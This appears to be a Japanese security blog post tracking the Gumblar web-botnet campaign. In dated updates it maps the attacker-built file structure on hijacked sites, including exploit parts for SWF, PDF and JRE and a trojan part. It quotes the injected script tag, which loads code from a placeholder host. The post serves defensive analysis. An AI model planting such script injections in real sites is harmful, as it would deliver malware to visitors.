Gumblar改ざん攻撃 再来襲 （Web Botnet - 攻撃データ製造マシン）

Gumblar - The Web Botnet System!

+ Gumblar: Farewell Japan (Kapsersky Securelist)
Why...?

　2009年10月再来襲な「Gumblar」攻撃者が物置として悪用してる正規サイトに構築されるデータ群。頭文字からswf用、pdf用、exe用なんて思ったりもしたけど、イマイチ判断がつきません。

<script src=http://[sample.com]/[folder]/[file].php ></script>

http://[sample.com]/[folder]/
  └ [sample].php <-- コード生成
  └ (gifimg.php)
  └ s/
    └ 1/ 〜 9/
    └ g.dat <-- GeoIP
    └ s.dat <-- Exploit SWF 用
    └ p.dat <-- Exploit PDF 用
    └ e.dat <-- Virus EXE 用
    └ h.dat <-- Referer
    └ h.dat2 <-- Referer
    └ r.dat <-- ???
    └ r.dat2 <-- ???

　s.dat、p.datが送り込まれるSWFファイル(Flash)とPDFファイルの部品。e.datが発動させるトロイの木馬ウイルスの部品。

---

iframes are EVIL! Hate Zeus!

---

（追記...）
　2009年11月18日より。

<script src=http://[sample.com]/[folder]/[file].php ></script>

http://[sample.com]/[folder]/
  └ [sample].php <-- コード生成
  └ (gifimg.php)
  └ s/
    └ 1/ 〜 9/
    └ g.dat <-- GeoIP
    └ s.dat <-- Exploit SWF 用
    └ p.dat <-- Exploit PDF 用
    └ e.dat <-- Virus EXE 用
    └ h.dat <-- Referer
    └ h.dat2 <-- Referer
    └ r.dat <-- ???
    └ r.dat2 <-- ???
    └ b.dat <-- ??? New!
    └ x.dat <-- ??? New!

<script src=http://[sample.com]/[folder]/[file].php ></script>

http://[sample.com]/[folder]/
  └ [sample].php <-- リダイレクトJS
  └ (gifimg.php)
  └ r.dat3 <-- ???
  └ s/
    └ 1/ 〜 9/
    └ h.dat2 <-- Referer
    └ r.dat2 <-- ???

---

（追記...）
　2010年2月4日より。

<script src=http://[sample.com]/[folder]/[file].php ></script>

http://[sample.com]/[folder]/
  └ [sample].php <-- コード生成
  └ (gifimg.php)
  └ s/
    └ 1/ 〜 9/
    └ g.dat <-- GeoIP
    └ s.dat <-- Exploit SWF 用
    └ p.dat <-- Exploit PDF 用
    └ e.dat <-- Virus EXE 用
    └ h.dat <-- Referer
    └ r.dat <-- ???
    └ b.dat <-- ???
    └ x.dat <-- ???

---

（追記...）
　2010年2月16日より。

<script src=http://[sample.com]/[folder]/[file].php ></script>

http://[sample.com]/[folder]/
  └ [sample].php <-- コード生成
  └ (gifimg.php)
  └ s/
    └ 1/ 〜 9/
    └ g.dat <-- GeoIP
    └ s.dat <-- Exploit SWF 用
    └ p.dat <-- Exploit PDF 用
    └ e.dat <-- Virus EXE 用
    └ j.dat <-- JRE 用 New!
    └ h.dat <-- Referer
    └ r.dat <-- ???
    └ b.dat <-- ???
    └ x.dat <-- ???

☆ Gumblar（ガンブラー）による正規サイトの改ざん被害が再来襲！ 最新情報はこちら